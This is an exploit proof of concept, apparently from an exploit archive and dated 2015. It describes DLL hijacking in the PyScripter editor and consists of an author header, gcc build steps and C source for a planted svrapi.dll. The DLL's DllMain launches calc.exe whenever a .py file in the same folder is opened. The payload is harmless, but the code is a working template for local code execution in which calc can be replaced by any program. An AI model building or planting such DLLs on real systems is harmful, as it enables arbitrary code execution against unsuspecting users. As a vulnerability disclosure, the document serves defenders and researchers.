/* #[+] Author: TUNISIAN CYBER #[+] Exploit Title: PyScriper DLL Hijacking #[+] Date: 05-04-2015 #[+] Type: Local Exploits #[+] Vendor: https://code.google.com/p/pyscripter/ #[+] Tested on: WinXp/Windows 7 Pro #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] gcc -shared -o svrapi.dll dllhijack.c then put svrapi.dll and create a .py file in the same dir, open the .py file , calc.exe execute. Proof of Concept (PoC): ======================= */ #include int tunisian() { WinExec("calc", 0); exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { tunisian(); return 0; }